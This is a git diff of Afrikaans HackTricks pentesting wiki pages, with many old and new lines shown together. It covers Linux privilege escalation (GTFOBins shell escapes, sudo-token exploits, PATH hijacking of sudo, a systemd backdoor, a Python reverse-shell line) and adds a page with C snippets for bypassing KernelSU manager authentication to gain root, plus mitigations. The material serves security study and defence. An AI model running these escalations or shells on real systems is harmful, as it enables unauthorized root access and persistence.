[**GTFOBins**](https://gtfobins.github.io) is 'n saamgestelde lys van Unix-binaries wat deur 'n aanvaller benut kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente** in 'n opdrag kan inspuit.
Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te verhoog of te handhaaf, lêers oor te dra, bind- en omgekeerde shells te spawn, en die ander post-exploitasie take te fasiliteer.
Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te verhoog of te handhaaf, lêers oor te dra, bind en omgekeerde shells te spawn, en die ander post-exploitasie take te fasiliteer.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -939,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- Die **derde exploit** (`exploit_v3.sh`) sal **n sudoers-lêer skep** wat **sudo tokens ewige maak en alle gebruikers toelaat om sudo te gebruik**
- Die **derde uitbuiting** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo-tokenne ewigdurend maak en alle gebruikers toelaat om sudo te gebruik**
```bash
bash exploit_v3.sh
sudo su
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
As jy weet dat 'n **gebruiker gewoonlik aan 'n masjien koppel en `sudo` gebruik** om voorregte te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo uitvoerbare lêer skep** wat jou kode as root sal uitvoer en dan die gebruiker se opdrag. Dan, **wysig die $PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word.
As jy weet dat 'n **gebruiker gewoonlik aan 'n masjien koppel en `sudo`** gebruik om voorregte te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo uitvoerbare lêer skep** wat jou kode as root sal uitvoer en dan die gebruiker se opdrag. Dan, **wysig die $PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word.
Let daarop dat as die gebruiker 'n ander shell gebruik (nie bash nie), jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan 'n ander voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Let daarop dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan 'n ander voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Of om iets soos te loop:
```bash
@ -1004,7 +1004,7 @@ sudo ls
Die lêer `/etc/ld.so.conf` dui aan **waar die gelaaide konfigurasielêers vandaan kom**. Tipies bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf`
Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **soek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel biblioteke binne `/usr/local/lib` gaan soek**.
Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **soek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel biblioteke binne `/usr/local/lib` sal soek**.
As om een of ander rede **'n gebruiker skryfregte** op enige van die aangeduide pades het: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf`, kan hy dalk in staat wees om voorregte te verhoog.\
Kyk na **hoe om hierdie miskonfigurasie te benut** op die volgende bladsy:
@ -1048,7 +1048,7 @@ execve(file,argv,0);
```
## Vermoëns
Linux vermoëns bied 'n **substel van die beskikbare wortelprivileges aan 'n proses**. Dit breek effektief wortel **privileges in kleiner en kenmerkende eenhede** op. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko's van uitbuiting verlaag.\
Linux vermoëns bied 'n **substel van die beskikbare wortelprivileges aan 'n proses**. Dit breek effektief wortel **privileges in kleiner en kenmerkende eenhede** op. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko van uitbuiting verlaag.\
Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**:
{{#ref}}
@ -1062,16 +1062,16 @@ Die **"lees"** bit impliseer dat die gebruiker kan **lys** die **lêers**, en di
## ACLs
Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer- of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word.
Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word.
**Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer:
**Gee** gebruiker "kali" lees- en skryfregte oor 'n lêer:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
```
**Kry** lêers met spesifieke ACLs van die stelsel:
**Kry** lêers met spesifieke ACL's van die stelsel:
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
@ -1139,7 +1139,7 @@ Gee aan of root kan aanmeld met ssh, die standaard is `no`. Moontlike waardes:
- `yes`: root kan aanmeld met wagwoord en private sleutel
- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private sleutel
- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is
- `no` : nee
- `no` : geen
### AuthorizedKeysFile
@ -1147,11 +1147,11 @@ Gee aan watter lêers die publieke sleutels bevat wat vir gebruikersverifikasie
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
Die konfigurasie sal aandui dat as jy probeer om in te log met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel met die een wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is, gaan vergelyk.
Die konfigurasie sal aandui dat as jy probeer om in te log met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel gaan vergelyk met diegene wat geleë is in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access`
### ForwardAgent/AllowAgentForwarding
SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om **te spring** via ssh **na 'n gasheer** en van daar **na 'n ander** gasheer **te spring** **met** die **sleutel** wat in jou **begin gasheer** geleë is.
SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om te **spring** via ssh **na 'n gasheer** en van daar af **na 'n ander** gasheer **te spring** **met** die **sleutel** wat geleë is in jou **begin gasheer**.
Jy moet hierdie opsie in `$HOME/.ssh.config` soos volg stel:
```
@ -1177,11 +1177,11 @@ Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **scripts wat
```bash
ls -l /etc/profile /etc/profile.d/
```
As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**.
As daar enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**.
### Passwd/Shadow Lêers
Afhangende van die OS mag die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam gebruik of daar mag 'n rugsteun wees. Daarom word dit aanbeveel om **almal van hulle te vind** en **te kyk of jy hulle kan lees** om te sien **of daar hashes** binne die lêers is:
Afhangende van die OS mag die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam gebruik of daar mag 'n rugsteun wees. Daarom word dit aanbeveel om **almal van hulle te vind** en **na te gaan of jy hulle kan lees** om te sien **of daar hashes** binne die lêers is:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1227,7 +1227,7 @@ ExecStart=/path/to/backdoor
User=root
Group=root
```
Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin.
Jou backdoor sal die volgende keer uitgevoer word wanneer tomcat begin word.
### Kontroleer Gidsen
@ -1292,7 +1292,7 @@ Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalat
### Logs
As jy logs kan lees, mag jy in staat wees om **interessante/vertroulike inligting daarin te vind**. Hoe meer vreemd die log is, hoe meer interessant sal dit wees (waarskynlik).\
Ook kan sommige "**sleg**" geconfigureerde (backdoored?) **audit logs** jou toelaat om **wagwoorde** binne audit logs te **registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Ook kan sommige "**sleg**" geconfigureerde (terugdeur?) **auditslogs** jou toelaat om **wagwoorde** binne auditslogs te **registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1313,7 +1313,7 @@ Om **logs te lees, sal die groep** [**adm**](interesting-groups-linux-pe/index.h
### Generiese Kredensiële Soektog/Regex
Jy moet ook kyk vir lêers wat die woord "**password**" in sy **naam** of binne die **inhoud** bevat, en ook kyk vir IP's en e-posse binne logs, of hashes regexps.\
Ek gaan nie hier lys hoe om al hierdie te doen nie, maar as jy belangstel kan jy die laaste toetse wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan.
Ek gaan nie hier lys hoe om al hierdie te doen nie, maar as jy belangstel, kan jy die laaste toetse wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan.
## Skryfbare lêers
@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Logrotate uitbuiting
'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer gidse potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige gids waar logrotasie toegepas word.
'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer directories potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in directories soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige directory waar logrotasie toegepas word.
> [!TIP]
> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer
@ -1336,7 +1336,7 @@ Meer gedetailleerde inligting oor die kwesbaarheid kan op hierdie bladsy gevind
Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten).
Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met simboliese skakels te vervang.
Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met symlinks te vervang.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@ -1389,7 +1389,7 @@ cisco-vmanage.md
## Meer hulp
[Statiese impacket binaire](https://github.com/ropnop/impacket_static_binaries)
[Statiese impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Linux/Unix Privesc Gereedskap
@ -1426,4 +1426,12 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Android rooting frameworks: bestuurder-kanaal misbruik
Android rooting frameworks koppel algemeen 'n syscall om bevoorregte kernel funksionaliteit aan 'n gebruikersvlak bestuurder bloot te stel. Swak bestuurder verifikasie (bv., handtekening kontroles gebaseer op FD-volgorde of swak wagwoord skemas) kan 'n plaaslike app in staat stel om die bestuurder na te boots en na root te eskaleer op reeds-gewortelde toestelle. Leer meer en ontploffingsbesonderhede hier:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

190
src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md Normal file
View File

@ -0,0 +1,190 @@
# Android Rooting Frameworks (KernelSU/Magisk) Bestuurder Auth Bypass & Syscall Hook Misbruik
{{#include ../../banners/hacktricks-training.md}}
Rooting raamwerke soos KernelSU, APatch, SKRoot en Magisk patch dikwels die Linux/Android-kern en stel bevoorregte funksionaliteit bloot aan 'n onbevoegde gebruikersruimte "bestuurder" app via 'n gehookte syscall. As die bestuurder-authentikasie stap gebrekkig is, kan enige plaaslike app hierdie kanaal bereik en voorregte op reeds-grootgemaakte toestelle eskaleer.
Hierdie bladsy abstraheer die tegnieke en valstrikke wat in openbare navorsing ontdek is (veral Zimperium se analise van KernelSU v0.5.7) om beide rooi en blou span te help om aanvaloppervlakke, eksploitasiemiddels, en robuuste versagtings te verstaan.
---
## Argitektuurpatroon: syscall-gehookte bestuurder kanaal
- Kernel module/patch hook 'n syscall (gewoonlik prctl) om "opdragte" van gebruikersruimte te ontvang.
- Protokol is tipies: magic_value, command_id, arg_ptr/len ...
- 'n Gebruikersruimte bestuurder app autentiseer eers (bv., CMD_BECOME_MANAGER). Sodra die kern die oproeper as 'n vertroude bestuurder merk, word bevoorregte opdragte aanvaar:
- Gee root aan oproeper (bv., CMD_GRANT_ROOT)
- Bestuur toelaatlys/ontkenlys vir su
- Pas SELinux beleid aan (bv., CMD_SET_SEPOLICY)
- Vra weergawe/konfigurasie
- Omdat enige app syscalls kan aanroep, is die korrekheid van die bestuurder-authentikasie krities.
Voorbeeld (KernelSU ontwerp):
- Gehookte syscall: prctl
- Magic waarde om na KernelSU handler te lei: 0xDEADBEEF
- Opdragte sluit in: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, ens.
---
## KernelSU v0.5.7 authentikasie vloei (soos geïmplementeer)
Wanneer gebruikersruimte prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) aanroep, verifieer KernelSU:
1) Pad voorvoegsel kontrole
- Die verskafde pad moet begin met 'n verwagte voorvoegsel vir die oproeper UID, bv. /data/data/<pkg> of /data/user/<id>/<pkg>.
- Verwysing: core_hook.c (v0.5.7) pad voorvoegsel logika.
2) Eienaarskap kontrole
- Die pad moet besit word deur die oproeper UID.
- Verwysing: core_hook.c (v0.5.7) eienaarskap logika.
3) APK handtekening kontrole via FD tabel skandering
- Herhaal die oproep proses se oop lêer beskrywings (FDs).
- Kies die eerste lêer wie se pad ooreenstem met /data/app/*/base.apk.
- Parse APK v2 handtekening en verifieer teen die amptelike bestuurder sertifikaat.
- Verwysings: manager.c (herhaal FDs), apk_sign.c (APK v2 verifikasie).
As al die kontroles slaag, cache die kern die bestuurder se UID tydelik en aanvaar bevoorregte opdragte van daardie UID totdat dit gereset word.
---
## Kwetsbaarheid klas: vertrou "die eerste ooreenstemmende APK" van FD iterasie
As die handtekening kontrole bind aan "die eerste ooreenstemmende /data/app/*/base.apk" wat in die proses FD tabel gevind word, verifieer dit nie eintlik die oproeper se eie pakket nie. 'n Aanvaller kan 'n wettig onderteken APK (die werklike bestuurder se) vooraf posisioneer sodat dit vroeër in die FD lys verskyn as hul eie base.apk.
Hierdie vertroue deur indireksie laat 'n onbevoegde app toe om die bestuurder te verteenwoordig sonder om die bestuurder se onderteken sleutel te besit.
Sleutel eienskappe wat uitgebuit word:
- Die FD skandering bind nie aan die oproeper se pakket identiteit nie; dit pas net pad stringe aan.
- open() gee die laagste beskikbare FD terug. Deur laer-nommer FDs eers te sluit, kan 'n aanvaller die volgorde beheer.
- Die filter kontroleer net dat die pad ooreenstem met /data/app/*/base.apk – nie dat dit ooreenstem met die geïnstalleerde pakket van die oproeper nie.
---
## Aanval voorwaardes
- Die toestel is reeds grootgemaak met 'n kwesbare rooting raamwerk (bv., KernelSU v0.5.7).
- Die aanvaller kan arbitrêre onbevoegde kode plaaslik uitvoer (Android app proses).
- Die werklike bestuurder het nog nie geverifieer nie (bv., reg na 'n herbegin). Sommige raamwerke cache die bestuurder UID na sukses; jy moet die wedloop wen.
---
## Eksploitasiestap (KernelSU v0.5.7)
Hoofstappe:
1) Bou 'n geldige pad na jou eie app data gids om aan die voorvoegsel en eienaarskap kontroles te voldoen.
2) Verseker dat 'n egte KernelSU Bestuurder base.apk op 'n laer-genommerde FD geopen is as jou eie base.apk.
3) Roep prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) aan om die kontroles te slaag.
4) Gee bevoorregte opdragte soos CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY om die verhoging vol te hou.
Praktiese notas oor stap 2 (FD volgorde):
- Identifiseer jou proses se FD vir jou eie /data/app/*/base.apk deur /proc/self/fd simboliese skakels te loop.
- Sluit 'n lae FD (bv., stdin, fd 0) en open die wettige bestuurder APK eers sodat dit fd 0 beset (of enige indeks laer as jou eie base.apk fd).
- Bundel die wettige bestuurder APK saam met jou app sodat sy pad aan die kern se naïewe filter voldoen. Byvoorbeeld, plaas dit onder 'n subpad wat ooreenstem met /data/app/*/base.apk.
Voorbeeld kode snippette (Android/Linux, illustratief slegs):
Lys oop FDs om base.apk inskrywings te lokaliseer:
```c
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
```
Dwing 'n laer-nummer FD om na die wettige bestuurder APK te wys:
```c
#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
```
Bestuurder verifikasie via prctl haak:
```c
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
```
Na sukses, bevoorregte opdragte (voorbeelde):
- CMD_GRANT_ROOT: bevorder huidige proses na root
- CMD_ALLOW_SU: voeg jou pakket/UID by die toelaatlys vir volhoubare su
- CMD_SET_SEPOLICY: pas SELinux-beleid aan soos deur die raamwerk ondersteun
Wedloop/volhoubaarheid wenk:
- Registreer 'n BOOT_COMPLETED ontvanger in AndroidManifest (RECEIVE_BOOT_COMPLETED) om vroeg na herlaai te begin en probeer verifikasie voordat die werklike bestuurder.
---
## Opsporing en versagting riglyne
Vir raamwerk ontwikkelaars:
- Bind verifikasie aan die oproeper se pakket/UID, nie aan arbitrêre FDs nie:
- Los die oproeper se pakket op vanaf sy UID en verifieer teen die geïnstalleerde pakket se handtekening (via PackageManager) eerder as om FDs te skandeer.
- As slegs op die kern, gebruik 'n stabiele oproeper identiteit (taak krediete) en valideer op 'n stabiele bron van waarheid wat deur init/userspace helper bestuur word, nie proses FDs nie.
- Vermy pad-prefix kontroles as identiteit; dit is triviaal bevredigbaar deur die oproeper.
- Gebruik nonce-gebaseerde uitdaging–antwoord oor die kanaal en maak enige gekapte bestuurder identiteit skoon by opstart of op sleutelgebeurtenisse.
- Oorweeg binder-gebaseerde geverifieerde IPC eerder as om generiese syscalls te oorlaai wanneer dit haalbaar is.
Vir verdedigers/blou span:
- Ontdek die teenwoordigheid van rooting raamwerke en bestuurder prosesse; monitor vir prctl oproepe met verdagte magiese konstantes (bv. 0xDEADBEEF) as jy kern telemetrie het.
- Op bestuurde vloot, blokkeer of waarsku oor opstart ontvangers van onbetroubare pakkette wat vinnig probeer bevoorregte bestuurder opdragte na opstart.
- Verseker dat toestelle opgedateer is na gepatchte raamwerk weergawes; maak gekapte bestuurder ID's ongeldig op opdatering.
Beperkings van die aanval:
- Aangetas slegs toestelle wat reeds ge-root is met 'n kwesbare raamwerk.
- Gewoonlik vereis 'n herlaai/wedloop venster voordat die wettige bestuurder verifieer (sommige raamwerke cache bestuurder UID tot reset).
---
## Verwante notas oor raamwerke
- Wagwoord-gebaseerde verifikasie (bv. historiese APatch/SKRoot bou) kan swak wees as wagwoorde raai-baar/bruteforce-baar is of verifikasies foutief is.
- Pakket/handtekening-gebaseerde verifikasie (bv. KernelSU) is sterker in beginsel maar moet bind aan die werklike oproeper, nie indirekte artefakte soos FD skandeer nie.
- Magisk: CVE-2024-48336 (MagiskEoP) het getoon dat selfs volwasse ekosisteme kwesbaar kan wees vir identiteit vervalsing wat lei tot kode-uitvoering met root binne bestuurder konteks.
---
## Verwysings
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
- [KernelSU project](https://kernelsu.org/)
- [APatch](https://github.com/bmax121/APatch)
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
{{#include ../../banners/hacktricks-training.md}}

174
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -19,12 +19,12 @@ Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe o
## Smali
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te compileer.\
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te **hercompileer**](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te kompileren.\
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te **kompileren**](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
## Ander interessante truuks
- [Spoofing jou ligging in die Play Store](spoofing-your-location-in-play-store.md)
- [Spoofing jou ligging in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-gebaseerde nie-root bevoorregte toegang)](shizuku-privileged-api.md)
- [Eksploitering van Onveilige In-App Opdateringsmeganismes](insecure-in-app-update-rce.md)
- [Misbruik van Toeganklikheidsdienste (Android RAT)](accessibility-services-abuse.md)
@ -39,7 +39,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Kombineer alle splits en basis apk's met [APKEditor](https://github.com/REAndroid/APKEditor):
- Kombineer alle splits en basis apks met [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Statiese Analise
Eerstens, om 'n APK te analiseer, moet jy **na die Java-kode kyk** met behulp van 'n decompiler.\
@ -65,28 +69,28 @@ Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **
**Firebase**
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg gekonfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basiese begrip van die toepassing - Manifest.xml, strings.xml
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskw vulnerabilities onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer uitbreiding na .zip te hernoem en dit dan uit te pak.
**Kw vulnerabilities** geïdentifiseer uit die **Manifest.xml** sluit in:
**Kw vulnerabilities** wat uit die **Manifest.xml** geïdentifiseer is, sluit in:
- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde data-back-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
